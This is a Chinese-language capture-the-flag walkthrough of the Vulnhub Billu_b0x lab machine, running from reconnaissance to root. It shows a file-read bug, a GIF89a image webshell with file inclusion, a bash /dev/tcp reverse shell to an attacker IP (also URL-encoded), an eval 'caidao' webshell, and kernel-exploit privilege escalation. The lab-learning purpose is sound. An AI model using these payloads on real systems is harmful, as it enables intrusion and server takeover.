Vulnhub Billu_b0x靶机
中等难度靶机,以web渗透模板为主
说明
靶场下载地址:https://www.vulnhub.com/entry/billu-b0x,188/
渗透靶机:VMware
攻击靶机:本地机+kail(VMware)
Flag:获取 root 权限
启动 Billu_b0x 靶机,界面显示登录界面,这是正常运行情况,我们也并没有登录账号,需要自己去渗透测试进行提权。回到我们的攻击机
文章目录
信息收集
发现IP
(1)扫描内网,发现目标主机IP
使用命令: arp-scan -l
发现内网中的靶机
扫描端口
(2)利用nmap对目标主机进行端口扫描,发现开放端口
使用命令:nmap -sV -A -p- 192.168.43.40
-A 做服务识别和深度扫描
-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口
发现目标主机端口和服务如下:
端口 协议 后端服务
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。但只提供了一个登录页面。
漏洞挖掘
根据目前已有的信息
- 漏洞挖掘思路:
(1)SQL注入:主页提示注入,可以尝试手工或者利用工具进行测试注入漏洞
(2)目录爆破:使用工具进行爆破,是否有隐藏的新网页
(3)漏洞扫描:使用自动化工具进行漏洞检测
(4)寻找ssh用户名和密码
测试首页的SQL注入
手工测试
- 万能密码
- 报错尝试
尝试用户名输入 admin'or '1'='1
,密码随意,但无法注入,出现 js 弹框 Try again:
又测试了一些其他的特殊字符串都没什么特别。
sqlmap工具测试
使用 sqlmap 进行 POST 注入,命令如下:
sqlmap.py -u "192.168.43.40" --data="un=admin&ps=admin&login=let%27s+login" --dbms mysql
但结果未检测到存在注入点,目前也不知道系统对注入的过滤规则是什么,使用 sqlmap 自带的 tamper 测试也失败了。
暂时放过SQL注入的检测,试试暴破目录
尝试路径扫描,发现隐藏文件
这里使用是 kali 自带的 dirb 扫描器工具,字典也是kali自带的。执行命令:
dirb "http://192.168.43.40/" /usr/share/dirb/wordlists/big.txt
获取大量页面:test.php、add.php、in.php、c.php、index.php、show.php等,
目录有:uploaded_images,phpmy
进行依次访问:
test.php
:可以提交file参数add.php
:一个文件上传的页面(但是静态页面)in.php
:phpinfo()信息c.php
:空白显示index.php
:主页登录栏show.php
:空白显示uploaded_images
:存放图片的文件夹phpmy
:存放phpMyAdmin文件
任意文件下载获取网页源码
访问 test.php:页面提示 file 参数为空,需要提供 file 参数
使用 GET 请求提交参数 ?file=/etc/passwd
,包含失败,依旧提示 file 参数为空
使用burp抓取数据包,改为 POST 请求,进行提交参数 file=/etc/passwd
包含成功,并显示了文件信息。
既然可以任意读取文件,那么使用 Hackbar工具进行 POST 请求。将之前获取到的文件源码通通打包下来。
源码审计
进行简单审计可以发现
(1)index.php
主页,提供了登录功能,但代码逻辑杜绝 sql 注入。包含了 c.php 和 head.php
(2)c.php
执行数据库连接操作,记录了数据库的账号信息
(3)add.php 一段获取上传的文件内容表单
(4)test.php 获取 $file 变量进行下载文件
利用在源码中获取的账号登录之前通过目录扫描获取到的 phpmyadmin 登录界面,
billu b0x_billu
进行登录成功,查看数据库表可以获得主页登录账号。biLLu hEx_it
登录成功后跳转到 panel.php 页面
同样获取 panel.php 的源码进行审计
它包含了之前爆破到的 show.php
和add.php
页面用于插入和获取数据。
尝试在数据库中写入一条 shell 语句,通过执行的 sql 语句解析在前端页面,但结果失败了。
查看其文件 show.php 源码可以发现他用了 htmlspecialchars()
防止了解析。在add.php使用 mysqli_real_escape_string()
防止了 SQL 注入。
利用函数把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。当用户有权在页面上显示输入时,对于防止代码运行非常有效。
文件上传+文件包含实现getshll
依旧审计 panel.php 的文件代码,可以发现其实存在任意文件包含。
配合其上传功能代码。可以实现getshll。
上传功能其使用的是白名单限制,并对文件头进行了校验。但利用图片马可以绕过。
代码检测逻辑是:对文件名校验→对文件头校验。
利用burp上传一句话木马,使用 GIF89a
文件头绕过,一句话木马内容为 <?php system($_GET['cmd']); ?>
使用hackbar 执行内容:
URL:
http://192.168.43.40/panel.php?cmd=ls
POST提交
load=/uploaded_images/onetree.jpg&continue=continue
成功执行命令 ls
,打印当前目录文件。
写入菜刀马
利用我们的图片马,写入一个webshell。
利用图片马先进行反弹shell
?cmd=echo "bash -i >& /dev/tcp/192.168.43.11/4444 0>&1" | bash
PS:传入前需进行URL编码
?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%33%2e%31%31%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68
进入上传目录 uploaded_images
(有写入权限),写一个菜刀马。执行命令:
echo '<?php eval($_POST['123']);?>' >> caidao.php
连接菜刀成功
提权
方法一:利用系统版本漏洞使用 exp 提权
(1) 查看系统内核版本,命令uanme -a
和cat /etc/issue
(2) 使用 msf 寻找 exp
searchsploit Ubuntu 12.04
利用蚁剑将该文件上传到目标靶机中。
并赋予执行权限:
chmod 777 37292.c
编译exp:
gcc 37292.c -o exp
执行exp,提权至root:
方法二:通过文件包含下载配置文件获取到root账号
通过蚁剑查看其文件目录结构,可以找到 phpmyadmin 的默认配置文件 config.inc.php
,里面记录了 root 用户的账号
尝试使用该用户进行ssh登录
ssh root@192.168.43.40
登录成功,且为root用户
总结
这个靶机主要以web端的getshell为主,内网的知识点不多。
(1)目录扫描是一种非常有效的突破方式,但同时它的高效是建立在字典的基础上
(2)注重代码审计。panel.php 的文件包含漏洞,如果不认真关注源码,难以发现。使用 test.php 的文件包含,没能触发 shell 利用。
(3) 文件上传+文件包含拿 shell 是常用的方式,遇到两个漏洞,要能够熟练快速拿 shell。
(4) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用 Ubuntu 已知漏洞本地提权。